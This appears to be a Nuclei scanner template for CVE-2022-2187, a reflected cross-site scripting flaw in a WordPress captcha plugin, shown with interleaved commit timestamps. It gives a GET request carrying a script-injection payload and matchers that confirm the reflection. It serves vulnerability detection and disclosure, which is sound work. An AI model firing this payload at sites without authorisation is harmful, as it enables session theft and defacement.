2022-07-17 16:48:55 +00:00
id : CVE-2022-2187
info :
2022-09-16 19:50:10 +00:00
name : WordPress Contact Form 7 Captcha <0.1.2 - Cross-Site Scripting
2022-07-17 16:48:55 +00:00
author : For3stCo1d
2022-09-16 20:03:07 +00:00
severity : medium
2022-07-17 16:48:55 +00:00
description : |
2022-09-16 19:50:10 +00:00
WordPress Contact Form 7 Captcha plugin before 0.1.2 contains a reflected cross-site scripting vulnerability. It does not escape the $_SERVER['REQUEST_URI'] parameter before outputting it back in an attribute.
2023-09-27 15:51:13 +00:00
impact : |
Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the website, potentially leading to session hijacking, defacement, or theft of sensitive information.
2023-09-06 11:59:08 +00:00
remediation : |
Update the WordPress Contact Form 7 Captcha plugin to version 0.1.2 or later to mitigate the XSS vulnerability.
2022-07-17 16:48:55 +00:00
reference :
- https://wpscan.com/vulnerability/4fd2f1ef-39c6-4425-8b4d-1a332dabac8d
2022-07-18 07:07:50 +00:00
- https://wordpress.org/plugins/contact-form-7-simple-recaptcha
2022-09-16 19:50:10 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2022-2187
2024-01-29 17:11:14 +00:00
- https://github.com/ARPSyndicate/cvemon
- https://github.com/ARPSyndicate/kenzer-templates
2022-07-19 09:44:37 +00:00
classification :
2022-09-16 20:03:07 +00:00
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score : 6.1
2022-09-16 19:50:10 +00:00
cve-id : CVE-2022-2187
2022-09-16 20:03:07 +00:00
cwe-id : CWE-79
2024-05-31 19:23:20 +00:00
epss-score : 0.00106
epss-percentile : 0.43227
2023-09-06 11:59:08 +00:00
cpe : cpe:2.3:a:contact_form_7_captcha_project:contact_form_7_captcha:*:*:*:*:*:wordpress:*:*
2023-04-28 08:11:21 +00:00
metadata :
max-request : 1
2023-07-11 19:49:27 +00:00
vendor : contact_form_7_captcha_project
product : contact_form_7_captcha
2023-09-06 11:59:08 +00:00
framework : wordpress
2024-01-14 09:21:50 +00:00
tags : cve,cve2022,wpscan,wordpress,xss,wp-plugin,wp,contact_form_7_captcha_project
2022-07-17 16:48:55 +00:00
2023-04-27 04:28:59 +00:00
http :
2022-07-17 16:48:55 +00:00
- method : GET
path :
2022-07-18 07:07:50 +00:00
- '{{BaseURL}}/wp-admin/options-general.php?page=cf7sr_edit&"></script><script>alert(document.domain)</script>'
2022-07-17 16:48:55 +00:00
matchers-condition : and
matchers :
- type : word
part : body
2022-07-18 07:07:50 +00:00
words :
- "</script><script>alert(document.domain)</script>"
- "Contact Form 7"
condition : and
2022-07-17 16:48:55 +00:00
- type : word
part : header
words :
- text/html
- type : status
status :
- 200
2024-06-01 06:53:00 +00:00
# digest: 4a0a0047304502201de0aed4181588ba82a87acd79893d40768da31c874f448321843ceac731ee19022100b7a5ae6aeb0199635eb54a99e2cff2969b1416b5809f362e83dbecd06c7a70d1:922c64590222798bb761d5b6d8e72950